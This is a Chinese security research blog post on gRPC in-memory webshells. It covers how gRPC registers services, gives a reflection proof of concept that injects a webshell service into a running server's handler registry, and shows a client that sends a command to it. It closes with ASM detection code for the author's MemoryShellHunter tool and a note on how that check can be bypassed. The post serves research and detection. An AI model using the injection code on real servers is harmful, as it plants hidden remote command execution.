长亭百川云 - 文章详情

gRPC内存马研究与查杀

小陈的Life

54

2024-07-13

戳上面的蓝字关注我吧!


01

**前言
**

前两周看到M01N Team公众号发布的《内存马的攻防博弈之旅之gRPC内存马》,文中介绍了gRPC内存马是如何注入进去并执行命令的,但是由于原文当中只给出靶场的Demo,并未给出利用注入的poc,便借助这篇文章再深入研究一下。

0****2

gRPC介绍

了解gRPC之前,就需要引入RPC的设计理念,才能更好的理解gRPC的工作原理。

远程过程调用(Remote Procedure Call,缩写为 RPC)是一个计算机通信协议。该协议允许一台计算上的程序调用另一台计算机上运行的程序,使得程序员无需再做额外的操作。如果是面向对象的场景,也可以称作为远程方法调用,比如熟知的Java RMI(Remote Method Invocation)调用。

而gRPC是由Google开发的一款高性能的开源RPC框架,经常用于微服务之间各种不同语言的程序调用函数和通信,大大的增加了微服务之间的通信效率和平台依赖性。同时gRPC是使用Protocol buffers作为接口定义语言(IDL),可以通过编写的proto文件来定义消息结构体和RPC远程调用函数。

协调的接口是通过proto文件来定义的消息结构,相关文档可以在Reference[1]中找到。再来看看gRPC的接口定义语言Protocol Buffers的工作流程图:

结合后续的案例说明,proto文件定义好之后需要通过生成器生成对应语言的代码,并在项目中使用才可以建立gRPC调用。

03

案例说明

这里直接用绿盟星云实验室开源的gRPC靶场来研究:https://github.com/snailll/gRPCDemo

首先直接看看他的user.proto是如何定义的

`syntax = "proto3";``package protocol;``   ``   ``option go_package = "protocol";``option java_multiple_files = true;``option java_package = "com.demo.shell.protocol";``   ``message User {`  `int32 userId = 1;`  `string username = 2;`  `sint32 age = 3;`  `string name = 4;``}``   ``service UserService {`  `rpc getUser (User) returns (User) {}`  `rpc getUsers (User) returns (stream User) {}`  `rpc saveUsers (stream User) returns (User) {}``}`

可以看到文件中定义了go_package和java_package两个变量,用处是明确指出包的命名空间,防止与其他语言的名称冲突。而java_multiple_files = true 选项则是允许为每个生成的类,生成一个单独的 .java 文件。

定义好了proto文件之后,就可以通过protoc或者maven的插件来生成grpc代码,这里我用的protoc二进制文件和插件protoc-gen-grpc来生成。

protoc下载地址:https://github.com/protocolbuffers/protobuf/releases

protoc-gen-grpc插件下载地址:https://repo.maven.apache.org/maven2/io/grpc/protoc-gen-grpc-java/

用下列两个命令生成对应的Java代码文件:

`protoc -I=. --java_out=./codes/ user.proto``   ``protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto`

这里的grpc插件一定要重新命名为"protoc-gen-grpc-java",不然会显示找不到命令。

之后会在codes文件中生成对象关系的java文件,code文件夹中生成grpc相关的UserServiceGrpc.java文件。

把生成好的Java文件添加到开发的项目中,并新建一个UserServiceImpl类,用来实现grpc的方法。

`package com.demo.shell.service;``   ``import com.demo.shell.protocol.User;``import com.demo.shell.protocol.UserServiceGrpc;``import io.grpc.stub.StreamObserver;``   ``   ``/**` `* @author demo` `* @date 2022/11/27` `*/``public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {`    `@Override`    `public void getUser(User request, StreamObserver<User> responseObserver) {`        `System.out.println(request);`        `User user = User.newBuilder()`                `.setName("response name")`                `.build();`        `responseObserver.onNext(user);`        `responseObserver.onCompleted();`    `}``   `    `@Override`    `public void getUsers(User request, StreamObserver<User> responseObserver) {`        `System.out.println("get users");`        `System.out.println(request);`        `User user = User.newBuilder()`                `.setName("user1")`                `.build();`        `User user2 = User.newBuilder()`                `.setName("user2")`                `.build();`        `responseObserver.onNext(user);`        `responseObserver.onNext(user2);`        `responseObserver.onCompleted();`    `}``   `    `@Override`    `public StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {``   `        `return new StreamObserver<User>() {`            `@Override`            `public void onNext(User user) {`                `System.out.println("get saveUsers list ---->");`                `System.out.println(user);`            `}``   `            `@Override`            `public void onError(Throwable throwable) {`                `System.out.println("saveUsers error " + throwable.getMessage());`            `}``   `            `@Override`            `public void onCompleted() {`                `User user = User.newBuilder()`                        `.setName("saveUsers user1")`                        `.build();`                `responseObserver.onNext(user);`                `responseObserver.onCompleted();`            `}`        `};`    `}``}`

在创建一个Main方法启动Netty服务

`public static void main(String[] args) throws Exception {`    `int port = 8082;`    `Server server = NettyServerBuilder`        `.forPort(port)`        `.addService(new UserServiceImpl())`        `.build()`        `.start();`    `System.out.println("server started, port : " + port);`    `server.awaitTermination();``}`

再编写客户端调用服务器方法

`package com.demo.shell.test;``   ``import com.demo.shell.protocol.User;``import com.demo.shell.protocol.UserServiceGrpc;``import io.grpc.ManagedChannel;``import io.grpc.ManagedChannelBuilder;``   ``import java.util.Iterator;``   ``/**` `* @author demo` `* @date 2022/11/27` `*/``public class NsTest {`    `public static void main(String[] args) {``   `        `User user = User.newBuilder()`                `.setUserId(100)`                `.build();``   `        `String host = "127.0.0.1";`        `int port = 8082;`        `ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();`        `UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);`        `User responseUser = userServiceBlockingStub.getUser(user);`        `System.out.println(responseUser);``   `        `Iterator<User> users = userServiceBlockingStub.getUsers(user);`        `while (users.hasNext()) {`            `System.out.println(users.next());`        `}``   `        `channel.shutdown();`    `}``}`

服务器输出对应的参数请求内容

04

gRPC内存马实现原理

先从服务端启动来看看UserServiceImpl是如何注册的

`int port = 8082;``Server server = NettyServerBuilder`    `.forPort(port)`    `.addService(new UserServiceImpl())`    `.build()`    `.start();`

forPort这里只是新建了一个NettyServerBuilder类,并设置了启动服务需要绑定的端口。

而到addService方法中,新建的UserServiceImpl类作为参数传递进了方法体中

`public T addService(BindableService bindableService) {`    `this.delegate().addService(bindableService);`    `return this.thisT();``}`

代码中的this.delegate()就是io.grpc.internal.ServerImplBuilder类

跟进查看

看到addService方法中添加的其实是bindService的返回值。

这里的正好是之前grpc插件生成的UserServiceGrpc类

`@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {`    `return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())`        `.addMethod(`        `getGetUserMethod(),`        `io.grpc.stub.ServerCalls.asyncUnaryCall(`            `new MethodHandlers<`            `com.demo.shell.protocol.User,`            `com.demo.shell.protocol.User>(`                `this, METHODID_GET_USER)))`        `.addMethod(`        `getGetUsersMethod(),`        `io.grpc.stub.ServerCalls.asyncServerStreamingCall(`            `new MethodHandlers<`            `com.demo.shell.protocol.User,`            `com.demo.shell.protocol.User>(`                `this, METHODID_GET_USERS)))`        `.addMethod(`        `getSaveUsersMethod(),`        `io.grpc.stub.ServerCalls.asyncClientStreamingCall(`            `new MethodHandlers<`            `com.demo.shell.protocol.User,`            `com.demo.shell.protocol.User>(`                `this, METHODID_SAVE_USERS)))`        `.build();``}`

里面的代码正好对应proto文件中定义的三个方法名

addService添加了需要注册的方法,之后就是通过Build方法编译好且设置不可修改。

`public Server build() {`    `return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);``}`

Build方法中创建了ServerImpl对象,再来看看ServerImpl对象的构造方法

`ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {`    `this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, "executorPool");`    `this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), "registryBuilder");`    `...``}`

主要是关注builder.registryBuilder.build()方法,进入的正好是io.grpc.internal.InternalHandlerRegistry$Builder类的build方法。

`static final class Builder {`    `private final HashMap<String, ServerServiceDefinition> services = new LinkedHashMap();``   `    `Builder() {`    `}``   `    `InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {`        `this.services.put(service.getServiceDescriptor().getName(), service);`        `return this;`    `}``   `    `InternalHandlerRegistry build() {`        `Map<String, ServerMethodDefinition<?, ?>> map = new HashMap();`        `Iterator var2 = this.services.values().iterator();``   `        `while(var2.hasNext()) {`            `ServerServiceDefinition service = (ServerServiceDefinition)var2.next();`            `Iterator var4 = service.getMethods().iterator();``   `            `while(var4.hasNext()) {`                `ServerMethodDefinition<?, ?> method = (ServerMethodDefinition)var4.next();`                `map.put(method.getMethodDescriptor().getFullMethodName(), method);`            `}`        `}``   `        `return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));`    `}``}`

最后返回的Collections.unmodifiableList和Collections.unmodifiableMap,就是将list列表和map转换成无法修改的对象,因此注册的UserServiceImpl对象中的方法从一开始就确定了。

至此,内存马的实现步骤就可以得知,需要通过反射重新定义ServerImpl对象中的this.registry值,添加进我们内存马的ServerServiceDefinition和ServerMethodDefinition。

05

内存马注入

由于M01N Team公众号中并未直接给出poc利用,这里我也只能凭借自己的想法慢慢复现。

由于需用反射替换掉原先被设置unmodifiable的ServerServiceDefinition和ServerMethodDefinition,因此就需要ServerImpl对象的句柄。

由于ServerImpl并不是静态的类,需要获取的字段也不是静态的,因此要获取到JVM中ServerImpl的类,可目前为止我没有想到有什么很好的方式获取。如果读者们有更好的思路可以留言给我,欢迎相互讨论学习。

注入的思路,就是先获取ServerImpl中已经有的ServerServiceDefinition和ServerMethodDefinition,读取到新的List和Map中,并在新的List和Map中添加WebShell内存马的信息,最后再设置unmodifiable属性并更改registry对象的值。

Poc如下所示,需要提供ServerImpl对象的实例。

`public static void changeGRPCService(Server server){`    `try {`        `Field field = server.getClass().getDeclaredField("registry");`        `field.setAccessible(true);`        `Object registry = field.get(server);`        `Class<?> handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");`        `Field services = handler.getDeclaredField("services");`        `services.setAccessible(true);`        `List servicesList = (List) services.get(registry);`        `List<Object> newServicesList = new ArrayList<Object>(servicesList);``   `        `//调用WebShell的bindService`        `Class<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");`        `Method m = cls.getDeclaredMethod("bindService");`        `BindableService obj = new WebshellServiceImpl();`        `ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);``   `        `newServicesList.add(service);    //添加新的Service到List中`        `services.set(registry, Collections.unmodifiableList(newServicesList));`        `Field methods = handler.getDeclaredField("methods");`        `methods.setAccessible(true);`        `Map methodsMap = (Map) methods.get(registry);`        `Map<String,Object> newMethodsMap = new HashMap<String,Object>(methodsMap);``   `        `for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {`            `newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);`        `}`        `methods.set(registry,Collections.unmodifiableMap(newMethodsMap));`    `} catch (Exception e) {`        `e.printStackTrace();`    `}``}`

上面的代码片段只是一个demo版本,具体的实现需要把WebShellServiceGrpc类转成字节码,再Definition到JVM中。

注入完成后,在客户端执行如下代码调用即可:

`package com.demo.shell.test;``   ``import com.demo.shell.protocol.WebShellServiceGrpc;``import com.demo.shell.protocol.Webshell;``import io.grpc.ManagedChannel;``import io.grpc.ManagedChannelBuilder;``   ``/**` `* @author demo` `* @date 2022/11/27` `*/``public class NsTestShell {`    `public static void main(String[] args) {``   `        `Webshell webshell = Webshell.newBuilder()`                `.setPwd("x")`                `.setCmd("calc")`                `.build();``   `        `String host = "127.0.0.1";`        `int port = 8082;`        `ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();``   `        `WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);`        `Webshell s = webShellServiceBlockingStub.exec(webshell);`        `System.out.println(s.getCmd());`        `try {`            `Thread.sleep(5000);`        `} catch (InterruptedException e) {`            `e.printStackTrace();`        `}`        `channel.shutdown();`    `}``}`

而原本公众号中给出的防御方式是通过RASP技术对动态修改Service对象的行为做出拦截。其实我个人觉得这里不太好埋点,比如我可以对Service的上层对象registry直接做修改,或者我对Services对象的某个ServerServiceDefinition做修改,不做添加而只是修改原来已经存在的Method,操作的对象就不需要再更改Services的值。

06

gRPC内存马查杀

我在原先编写的内存马查杀工具MemoryShellHunter添加检测模块:https://github.com/sf197/MemoryShellHunter

首先在Agent中的transform方法中用ASM消费所有的类

`ClassReader reader = new ClassReader(bytes);``ClassWriter writer = new ClassWriter(reader, 0);``GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);``reader.accept(visitor, 0);`

这里的GrpcClassVisitor就是当前类的父类的接口是否继承自io.grpc.BindableService,如果是,则说明这是一个gRPC实现类,因此当中定义的方法都可以是危险函数,需要进一步使用可达性分析判断是否有危险Sink函数。

`package com.websocket.findMemShell;``   ``import java.util.List;``   ``import org.objectweb.asm.ClassVisitor;``import org.objectweb.asm.ClassWriter;``import org.objectweb.asm.MethodVisitor;``import org.objectweb.asm.Opcodes;``   ``   ``public class GrpcClassVisitor extends ClassVisitor {`  `  private String ClassName = null;`  `private List<String> Grpc_Methods_list;``   `    `public GrpcClassVisitor(ClassWriter writer,List<String> Grpc_Methods_list) {`        `super(Opcodes.ASM4, writer);`        `this.Grpc_Methods_list = Grpc_Methods_list;`    `}``   `    `@Override`    `public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {`        `if(superName.contains("ServiceGrpc")) {`          `try {`          `String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\\.")).getInterfaces()[0].getName();`          `if(cls.equals("io.grpc.BindableService")) {`            `//System.out.println("SuperName Class:"+cls);`            `this.ClassName = name;`          `}`          `            } catch (ClassNotFoundException e) {`          `// TODO Auto-generated catch block`          `e.printStackTrace();`        `}`        `}`      `super.visit(version, access, name, signature, superName, interfaces);`    `}`    `    @Override`    `public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {`      `MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);`      `if(this.ClassName == null) {`        `return methodVisitor;`      `}else {`        `return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);`      `}`      `    }`    `    class MyMethodVisitor extends MethodVisitor implements Opcodes {`      `private String MethodName;`      `private String ClassName;`      `private List<String> Grpc_Methods_list;`        `public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List<String> Grpc_Methods_list) {`            `super(Opcodes.ASM5, mv);`            `this.MethodName = name;`            `this.ClassName = ClassName;`            `this.Grpc_Methods_list = Grpc_Methods_list;`        `}`        `        @Override`        `public void visitMethodInsn(final int opcode, final String owner,`                `final String name, final String desc, final boolean itf) {`          `          if(!this.Grpc_Methods_list.contains(this.ClassName+"#"+this.MethodName)) {`            `this.Grpc_Methods_list.add(this.ClassName+"#"+this.MethodName);`            `//System.out.println(this.ClassName+"#"+this.MethodName);`            `}`            `super.visitMethodInsn(opcode, owner, name, desc, itf);`        `}`    `}``}`

判断函数逻辑:

`if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\.", "/"))) {`    `List<String> list = discoveredCalls.get(cp.getClassName().replaceAll("\\.", "/"));`    `for(String str : list) {`        `if(dfsSearchSink(str)) {`            `stack.push(str);`            `stack.push(cp.getClassName().replaceAll("\\.", "/"));`            `StringBuilder sb = new StringBuilder();`            `while(!stack.empty()) {`                `sb.append("->");`                `sb.append(stack.pop());`            `}`            `System.out.println("Controller CallEdge: "+sb.toString());`            `break;`        `}`    `}``}`

这样的好处可以查找出系统中gRPC的内存马。

缺点是在查找gRPC实现类的时候,需要用到当前线程的ClassLoader判断父类是否继承自io.grpc.BindableService,因此攻击的时候只需要更改加载的ClassLoader即可绕过。

这里也是抛砖引玉,如果有更好的检测思路和查杀思路欢迎提交pr:https://github.com/sf197/MemoryShellHunter

07

Reference

[1].https://developers.google.com/protocol-buffers

[2].https://grpc.io

[3].https://mp.weixin.qq.com/s/osuoinwCpOwNM4WoI6SOnQ

[4].https://www.cnblogs.com/easyidea/p/15767542.html


相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2